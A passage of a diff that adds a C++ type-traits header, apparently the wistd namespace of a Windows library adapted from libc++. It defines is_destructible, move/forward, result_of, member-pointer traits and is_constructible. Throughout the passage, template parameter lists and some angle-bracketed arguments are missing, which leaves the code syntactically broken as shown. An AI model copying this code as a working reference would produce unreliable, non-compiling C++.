is_move_assignable_v + = is_move_assignable<_Tp>::value; +#endif + + // is_destructible + +#if __WI_HAS_FEATURE_IS_DESTRUCTIBLE + + template + struct is_destructible + : public integral_constant {}; + +#else + + // if it's a reference, return true + // if it's a function, return false + // if it's void, return false + // if it's an array of unknown bound, return false + // Otherwise, return "std::declval<_Up&>().~_Up()" is well-formed + // where _Up is remove_all_extents<_Tp>::type + + template + struct __is_destructible_apply { typedef int type; }; + + template + struct __is_destructor_wellformed { + template + static char __test ( + typename __is_destructible_apply().~_Tp1())>::type + ); + + template + static __two __test (...); + + static const bool value = sizeof(__test<_Tp>(12)) == sizeof(char); + }; + + template + struct __destructible_imp; + + template + struct __destructible_imp<_Tp, false> + : public integral_constant::type>::value> {}; + + template + struct __destructible_imp<_Tp, true> + : public true_type {}; + + template + struct __destructible_false; + + template + struct __destructible_false<_Tp, false> : public __destructible_imp<_Tp, is_reference<_Tp>::value> {}; + + template + struct __destructible_false<_Tp, true> : public false_type {}; + + template + struct is_destructible + : public __destructible_false<_Tp, is_function<_Tp>::value> {}; + + template + struct is_destructible<_Tp[]> + : public false_type {}; + + template <> + struct is_destructible + : public false_type {}; + +#endif // __WI_HAS_FEATURE_IS_DESTRUCTIBLE + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_destructible_v + = is_destructible<_Tp>::value; +#endif + + // move + +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + + template + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR + typename remove_reference<_Tp>::type&& + move(_Tp&& __t) WI_NOEXCEPT + { + typedef typename remove_reference<_Tp>::type _Up; + return static_cast<_Up&&>(__t); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR + _Tp&& + forward(typename remove_reference<_Tp>::type& __t) WI_NOEXCEPT + { + return static_cast<_Tp&&>(__t); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR + _Tp&& + forward(typename remove_reference<_Tp>::type&& __t) WI_NOEXCEPT + { + static_assert(!is_lvalue_reference<_Tp>::value, + "can not forward an rvalue as an lvalue"); + return static_cast<_Tp&&>(__t); + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR_AFTER_CXX17 + _T1 exchange(_T1& __obj, _T2 && __new_value) + { + _T1 __old_value = wistd::move(__obj); + __obj = wistd::forward<_T2>(__new_value); + return __old_value; + } + +#else // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + _Tp& + move(_Tp& __t) + { + return __t; + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + const _Tp& + move(const _Tp& __t) + { + return __t; + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + _Tp& + forward(typename remove_reference<_Tp>::type& __t) WI_NOEXCEPT + { + return __t; + } + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + _T1 exchange(_T1& __obj, const _T2& __new_value) + { + _T1 __old_value = __obj; + __obj = __new_value; + return __old_value; + } + + template + class __rv + { + typedef typename remove_reference<_Tp>::type _Trr; + _Trr& t_; + public: + __WI_LIBCPP_INLINE_VISIBILITY + _Trr* operator->() {return &t_;} + __WI_LIBCPP_INLINE_VISIBILITY + explicit __rv(_Trr& __t) : t_(__t) {} + }; + +#endif // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + +#if __WI_LIBCPP_STD_VER > 11 + template +#else + template +#endif + struct __WI_LIBCPP_TEMPLATE_VIS less : binary_function<_Tp, _Tp, bool> + { + __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 __WI_LIBCPP_INLINE_VISIBILITY + bool operator()(const _Tp& __x, const _Tp& __y) const + {return __x < __y;} + }; + +#if __WI_LIBCPP_STD_VER > 11 + template <> + struct __WI_LIBCPP_TEMPLATE_VIS less + { + template + __WI_LIBCPP_CONSTEXPR_AFTER_CXX11 __WI_LIBCPP_INLINE_VISIBILITY + auto operator()(_T1&& __t, _T2&& __u) const + __WI_NOEXCEPT_(noexcept(wistd::forward<_T1>(__t) < wistd::forward<_T2>(__u))) + -> decltype (wistd::forward<_T1>(__t) < wistd::forward<_T2>(__u)) + { return wistd::forward<_T1>(__t) < wistd::forward<_T2>(__u); } + typedef void is_transparent; + }; +#endif + +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + typename decay<_Tp>::type + __decay_copy(_Tp&& __t) + { + return wistd::forward<_Tp>(__t); + } + +#else + + template + inline __WI_LIBCPP_INLINE_VISIBILITY + typename decay<_Tp>::type + __decay_copy(const _Tp& __t) + { + return wistd::forward<_Tp>(__t); + } + +#endif + +#ifndef __WI_LIBCPP_HAS_NO_VARIADICS + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...), true, false> + { + typedef _Class _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...), true, false> + { + typedef _Class _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param..., ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) const, true, false> + { + typedef _Class const _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) const, true, false> + { + typedef _Class const _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param..., ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) volatile, true, false> + { + typedef _Class volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) volatile, true, false> + { + typedef _Class volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param..., ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) const volatile, true, false> + { + typedef _Class const volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) const volatile, true, false> + { + typedef _Class const volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param..., ...); + }; + +#if __WI_HAS_FEATURE_REFERENCE_QUALIFIED_FUNCTIONS || \ + (defined(__WI_GNUC_VER) && __WI_GNUC_VER >= 409) + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) &, true, false> + { + typedef _Class& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) &, true, false> + { + typedef _Class& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param..., ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) const&, true, false> + { + typedef _Class const& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) const&, true, false> + { + typedef _Class const& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param..., ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) volatile&, true, false> + { + typedef _Class volatile& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) volatile&, true, false> + { + typedef _Class volatile& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param..., ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) const volatile&, true, false> + { + typedef _Class const volatile& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) const volatile&, true, false> + { + typedef _Class const volatile& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param..., ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) &&, true, false> + { + typedef _Class&& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) &&, true, false> + { + typedef _Class&& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param..., ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) const&&, true, false> + { + typedef _Class const&& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) const&&, true, false> + { + typedef _Class const&& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param..., ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) volatile&&, true, false> + { + typedef _Class volatile&& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) volatile&&, true, false> + { + typedef _Class volatile&& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param..., ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param...) const volatile&&, true, false> + { + typedef _Class const volatile&& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_Param..., ...) const volatile&&, true, false> + { + typedef _Class const volatile&& _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_Param..., ...); + }; + +#endif // __WI_HAS_FEATURE_REFERENCE_QUALIFIED_FUNCTIONS || __WI_GNUC_VER >= 409 + +#else // __WI_LIBCPP_HAS_NO_VARIADICS + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(), true, false> + { + typedef _Class _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(...), true, false> + { + typedef _Class _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0), true, false> + { + typedef _Class _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, ...), true, false> + { + typedef _Class _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1), true, false> + { + typedef _Class _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, ...), true, false> + { + typedef _Class _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1, ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2), true, false> + { + typedef _Class _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1, _P2); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2, ...), true, false> + { + typedef _Class _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1, _P2, ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)() const, true, false> + { + typedef _Class const _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(...) const, true, false> + { + typedef _Class const _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0) const, true, false> + { + typedef _Class const _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, ...) const, true, false> + { + typedef _Class const _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1) const, true, false> + { + typedef _Class const _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, ...) const, true, false> + { + typedef _Class const _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1, ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2) const, true, false> + { + typedef _Class const _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1, _P2); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2, ...) const, true, false> + { + typedef _Class const _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1, _P2, ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)() volatile, true, false> + { + typedef _Class volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(...) volatile, true, false> + { + typedef _Class volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0) volatile, true, false> + { + typedef _Class volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, ...) volatile, true, false> + { + typedef _Class volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1) volatile, true, false> + { + typedef _Class volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, ...) volatile, true, false> + { + typedef _Class volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1, ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2) volatile, true, false> + { + typedef _Class volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1, _P2); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2, ...) volatile, true, false> + { + typedef _Class volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1, _P2, ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)() const volatile, true, false> + { + typedef _Class const volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(...) const volatile, true, false> + { + typedef _Class const volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0) const volatile, true, false> + { + typedef _Class const volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, ...) const volatile, true, false> + { + typedef _Class const volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1) const volatile, true, false> + { + typedef _Class const volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, ...) const volatile, true, false> + { + typedef _Class const volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1, ...); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2) const volatile, true, false> + { + typedef _Class const volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1, _P2); + }; + + template + struct __member_pointer_traits_imp<_Rp (_Class::*)(_P0, _P1, _P2, ...) const volatile, true, false> + { + typedef _Class const volatile _ClassType; + typedef _Rp _ReturnType; + typedef _Rp (_FnType) (_P0, _P1, _P2, ...); + }; + +#endif // __WI_LIBCPP_HAS_NO_VARIADICS + + template + struct __member_pointer_traits_imp<_Rp _Class::*, false, true> + { + typedef _Class _ClassType; + typedef _Rp _ReturnType; + }; + + template + struct __member_pointer_traits + : public __member_pointer_traits_imp::type, + is_member_function_pointer<_Mp>::value, + is_member_object_pointer<_Mp>::value> + { + // typedef ... _ClassType; + // typedef ... _ReturnType; + // typedef ... _FnType; + }; + + + template + struct __member_pointer_class_type {}; + + template + struct __member_pointer_class_type<_Ret _ClassType::*> { + typedef _ClassType type; + }; + + // result_of + + template class result_of; + +#ifdef __WI_LIBCPP_HAS_NO_VARIADICS + + template + class __result_of + { + }; + + template + class __result_of<_Fn(), true, false> + { + public: + typedef decltype(declval<_Fn>()()) type; + }; + + template + class __result_of<_Fn(_A0), true, false> + { + public: + typedef decltype(declval<_Fn>()(declval<_A0>())) type; + }; + + template + class __result_of<_Fn(_A0, _A1), true, false> + { + public: + typedef decltype(declval<_Fn>()(declval<_A0>(), declval<_A1>())) type; + }; + + template + class __result_of<_Fn(_A0, _A1, _A2), true, false> + { + public: + typedef decltype(declval<_Fn>()(declval<_A0>(), declval<_A1>(), declval<_A2>())) type; + }; + + template + struct __result_of_mp; + + // member function pointer + + template + struct __result_of_mp<_Mp, _Tp, true> + : public __identity::_ReturnType> + { + }; + + // member data pointer + + template + struct __result_of_mdp; + + template + struct __result_of_mdp<_Rp _Class::*, _Tp, false> + { + typedef typename __apply_cv()), _Rp>::type& type; + }; + + template + struct __result_of_mdp<_Rp _Class::*, _Tp, true> + { + typedef typename __apply_cv<_Tp, _Rp>::type& type; + }; + + template + struct __result_of_mp<_Rp _Class::*, _Tp, false> + : public __result_of_mdp<_Rp _Class::*, _Tp, + is_base_of<_Class, typename remove_reference<_Tp>::type>::value> + { + }; + + + + template + class __result_of<_Fn(_Tp), false, true> // _Fn must be member pointer + : public __result_of_mp::type, + _Tp, + is_member_function_pointer::type>::value> + { + }; + + template + class __result_of<_Fn(_Tp, _A0), false, true> // _Fn must be member pointer + : public __result_of_mp::type, + _Tp, + is_member_function_pointer::type>::value> + { + }; + + template + class __result_of<_Fn(_Tp, _A0, _A1), false, true> // _Fn must be member pointer + : public __result_of_mp::type, + _Tp, + is_member_function_pointer::type>::value> + { + }; + + template + class __result_of<_Fn(_Tp, _A0, _A1, _A2), false, true> // _Fn must be member pointer + : public __result_of_mp::type, + _Tp, + is_member_function_pointer::type>::value> + { + }; + + // result_of + + template + class __WI_LIBCPP_TEMPLATE_VIS result_of<_Fn()> + : public __result_of<_Fn(), + is_class::type>::value || + is_function::type>::type>::value, + is_member_pointer::type>::value + > + { + }; + + template + class __WI_LIBCPP_TEMPLATE_VIS result_of<_Fn(_A0)> + : public __result_of<_Fn(_A0), + is_class::type>::value || + is_function::type>::type>::value, + is_member_pointer::type>::value + > + { + }; + + template + class __WI_LIBCPP_TEMPLATE_VIS result_of<_Fn(_A0, _A1)> + : public __result_of<_Fn(_A0, _A1), + is_class::type>::value || + is_function::type>::type>::value, + is_member_pointer::type>::value + > + { + }; + + template + class __WI_LIBCPP_TEMPLATE_VIS result_of<_Fn(_A0, _A1, _A2)> + : public __result_of<_Fn(_A0, _A1, _A2), + is_class::type>::value || + is_function::type>::type>::value, + is_member_pointer::type>::value + > + { + }; + +#endif // __WI_LIBCPP_HAS_NO_VARIADICS + + // template struct is_constructible; + + namespace __is_construct + { + struct __nat {}; + } + +#if !defined(__WI_LIBCPP_CXX03_LANG) && (!__WI_HAS_FEATURE_IS_CONSTRUCTIBLE || \ + defined(__WI_LIBCPP_TESTING_FALLBACK_IS_CONSTRUCTIBLE)) + + template + struct __libcpp_is_constructible; + + template + struct __is_invalid_base_to_derived_cast { + static_assert(is_reference<_To>::value, "Wrong specialization"); + using _RawFrom = __uncvref_t<_From>; + using _RawTo = __uncvref_t<_To>; + static const bool value = __lazy_and< + __lazy_not>, + is_base_of<_RawFrom, _RawTo>, + __lazy_not<__libcpp_is_constructible<_RawTo, _From>> + >::value; + }; + + template + struct __is_invalid_lvalue_to_rvalue_cast : false_type { + static_assert(is_reference<_To>::value, "Wrong specialization"); + }; + + template + struct __is_invalid_lvalue_to_rvalue_cast<_ToRef&&, _FromRef&> { + using _RawFrom = __uncvref_t<_FromRef>; + using _RawTo = __uncvref_t<_ToRef>; + static const bool value = __lazy_and< + __lazy_not>, + __lazy_or< + is_same<_RawFrom, _RawTo>, + is_base_of<_RawTo, _RawFrom>> + >::value; + }; + + struct __is_constructible_helper + { + template + static void __eat(_To); + + // This overload is needed to work around a Clang bug that disallows + // static_cast(e) for non-reference-compatible types. + // Example: static_cast(declval()); + // NOTE: The static_cast implementation below is required to support + // classes with explicit conversion operators. + template (declval<_From>()))> + static true_type __test_cast(int); + + template (declval<_From>()))> + static integral_constant::value && + !__is_invalid_lvalue_to_rvalue_cast<_To, _From>::value + > __test_cast(long); + + template + static false_type __test_cast(...); + + template ()...))> + static true_type __test_nary(int); + template + static false_type __test_nary(...); + + template ()))> + static is_destructible<_Tp> __test_unary(int); + template + static false_type __test_unary(...); + }; + + template ::value> + struct __is_default_constructible + : decltype(__is_constructible_helper::__test_nary<_Tp>(0)) + {}; + + template + struct __is_default_constructible<_Tp, true> : false_type {}; + + template + struct __is_default_constructible<_Tp[], false> : false_type {}; + + template + struct __is_default_constructible<_Tp[_Nx], false> + : __is_default_constructible::type> {}; + + template + struct __libcpp_is_constructible + { + static_assert(sizeof...(_Args) > 1, "Wrong specialization"); + typedef decltype(__is_constructible_helper::__test_nary<_Tp, _Args...>(0)) + type; + }; + + template + struct __libcpp_is_constructible<_Tp> : __is_default_constructible<_Tp> {}; + + template + struct __libcpp_is_constructible<_Tp, _A0> + : public decltype(__is_constructible_helper::__test_unary<_Tp, _A0>(0)) + {}; + + template + struct __libcpp_is_constructible<_Tp&, _A0> + : public decltype(__is_constructible_helper:: + __test_cast<_Tp&, _A0>(0)) + {}; + + template + struct __libcpp_is_constructible<_Tp&&, _A0> + : public decltype(__is_constructible_helper:: + __test_cast<_Tp&&, _A0>(0)) + {}; + +#endif + +#if __WI_HAS_FEATURE_IS_CONSTRUCTIBLE + template + struct __WI_LIBCPP_TEMPLATE_VIS is_constructible + : public integral_constant + {}; +#elif !defined(__WI_LIBCPP_CXX03_LANG) + template + struct __WI_LIBCPP_TEMPLATE_VIS is_constructible + : public __libcpp_is_constructible<_Tp, _Args...>::type {}; +#else + // template struct is_constructible0; + + // main is_constructible0 test + + template + decltype((_Tp(), true_type())) + __is_constructible0_test(_Tp&); + + false_type + __is_constructible0_test(__any); + + template + decltype((_Tp(declval<_A0>()), true_type())) + __is_constructible1_test(_Tp&, _A0&); + + template + false_type + __is_constructible1_test(__any, _A0&); + + template + decltype((_Tp(declval<_A0>(), declval<_A1>()), true_type())) + __is_constructible2_test(_Tp&, _A0&, _A1&); + + template + false_type + __is_constructible2_test(__any, _A0&, _A1&); + + template + decltype((_Tp(declval<_A0>(), declval<_A1>(), declval<_A2>()), true_type())) + __is_constructible3_test(_Tp&, _A0&, _A1&, _A2&); + + template + false_type + __is_constructible3_test(__any, _A0&, _A1&, _A2&); + + template + struct __is_constructible0_imp // false, _Tp is not a scalar + : public common_type + < + decltype(__is_constructible0_test(declval<_Tp&>())) + >::type + {}; + + template + struct __is_constructible1_imp // false, _Tp is not a scalar + : public common_type + < + decltype(__is_constructible1_test(declval<_Tp&>(), declval<_A0&>())) + >::type + {}; + + template + struct __is_constructible2_imp // false, _Tp is not a scalar + : public common_type + < + decltype(__is_constructible2_test(declval<_Tp&>(), declval<_A0>(), declval<_A1>())) + >::type + {}; + + template + struct __is_constructible3_imp // false, _Tp is not a scalar + : public common_type + < + decltype(__is_constructible3_test(declval<_Tp&>(), declval<_A0>(), declval<_A1>(), declval<_A2>())) + >::type + {}; + + // handle scalars and reference types + + // Scalars are default constructible, references are not + + template + struct __is_constructible0_imp + : public is_scalar<_Tp> + {}; + + template + struct __is_constructible1_imp + : public is_convertible<_A0, _Tp> + {}; + + template + struct __is_constructible2_imp + : public false_type + {}; + + template + struct __is_constructible3_imp + : public false_type + {}; + + // Treat scalars and reference types separately + + template + struct __is_constructible0_void_check + : public __is_constructible0_imp::value || is_reference<_Tp>::value, + _Tp> + {}; + + template + struct __is_constructible1_void_check + : public __is_constructible1_imp::value || is_reference<_Tp>::value, + _Tp, _A0> + {}; + + template + struct __is_constructible2_void_check + : public __is_constructible2_imp::value || is_reference<_Tp>::value, + _Tp, _A0, _A1> + {}; + + template + struct __is_constructible3_void_check + : public __is_constructible3_imp::value || is_reference<_Tp>::value, + _Tp, _A0, _A1, _A2> + {}; + + // If any of T or Args is void, is_constructible should be false + + template + struct __is_constructible0_void_check + : public false_type + {}; + + template + struct __is_constructible1_void_check + : public false_type + {}; + + template + struct __is_constructible2_void_check + : public false_type + {}; + + template + struct __is_constructible3_void_check + : public false_type + {}; + + // is_constructible entry point + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_constructible + : public __is_constructible3_void_check::value + || is_abstract<_Tp>::value + || is_function<_Tp>::value + || is_void<_A0>::value + || is_void<_A1>::value + || is_void<_A2>::value, + _Tp, _A0, _A1, _A2> + {}; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_constructible<_Tp, __is_construct::__nat, __is_construct::__nat> + : public __is_constructible0_void_check::value + || is_abstract<_Tp>::value + || is_function<_Tp>::value, + _Tp> + {}; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_constructible<_Tp, _A0, __is_construct::__nat> + : public __is_constructible1_void_check::value + || is_abstract<_Tp>::value + || is_function<_Tp>::value + || is_void<_A0>::value, + _Tp, _A0> + {}; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_constructible<_Tp, _A0, _A1, __is_construct::__nat> + : public __is_constructible2_void_check::value + || is_abstract<_Tp>::value + || is_function<_Tp>::value + || is_void<_A0>::value + || is_void<_A1>::value, + _Tp, _A0, _A1> + {}; + + // Array types are default constructible if their element type + // is default constructible + + template + struct __is_constructible0_imp + : public is_constructible::type> + {}; + + template + struct __is_constructible1_imp + : public false_type + {}; + + template + struct __is_constructible2_imp + : public false_type + {}; + + template + struct __is_constructible3_imp + : public false_type + {}; + + // Incomplete array types are not constructible + + template + struct __is_constructible0_imp + : public false_type + {}; + + template + struct __is_constructible1_imp + : public false_type + {}; + + template + struct __is_constructible2_imp + : public false_type + {}; + + template + struct __is_constructible3_imp + : public false_type + {}; + +#endif // __WI_HAS_FEATURE_IS_CONSTRUCTIBLE + + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) && !defined(__WI_LIBCPP_HAS_NO_VARIADICS) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_constructible_v + = is_constructible<_Tp, _Args...>::value; +#endif + + // is_default_constructible + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_default_constructible + : public is_constructible<_Tp> + {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_default_constructible_v + = is_default_constructible<_Tp>::value; +#endif + + // is_copy_constructible + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_copy_constructible + : public is_constructible<_Tp, + typename add_lvalue_reference::type>::type> {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_copy_constructible_v + = is_copy_constructible<_Tp>::value; +#endif + + // is_move_constructible + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_move_constructible +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + : public is_constructible<_Tp, typename add_rvalue_reference<_Tp>::type> +#else + : public is_copy_constructible<_Tp> +#endif + {}; + +#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES) + template + __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_move_constructible_v + = is_move_constructible<_Tp>::value; +#endif + + // is_trivially_constructible + +#ifndef __WI_LIBCPP_HAS_NO_VARIADICS + +#if __WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE || __WI_GNUC_VER >= 501 + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible + : integral_constant + { + }; + +#else // !__WI_HAS_FEATURE_IS_TRIVIALLY_CONSTRUCTIBLE + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible + : false_type + { + }; + + template + struct __WI_LIBCPP_TEMPLATE_VIS is_trivially_constructible<_Tp> +#if __WI_HAS_FEATURE_HAS_TRIVIAL_CONSTRUCTOR + : integral_constant +#else + : integral_constant::value> +#endif + { + }; + + template +#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES + struct 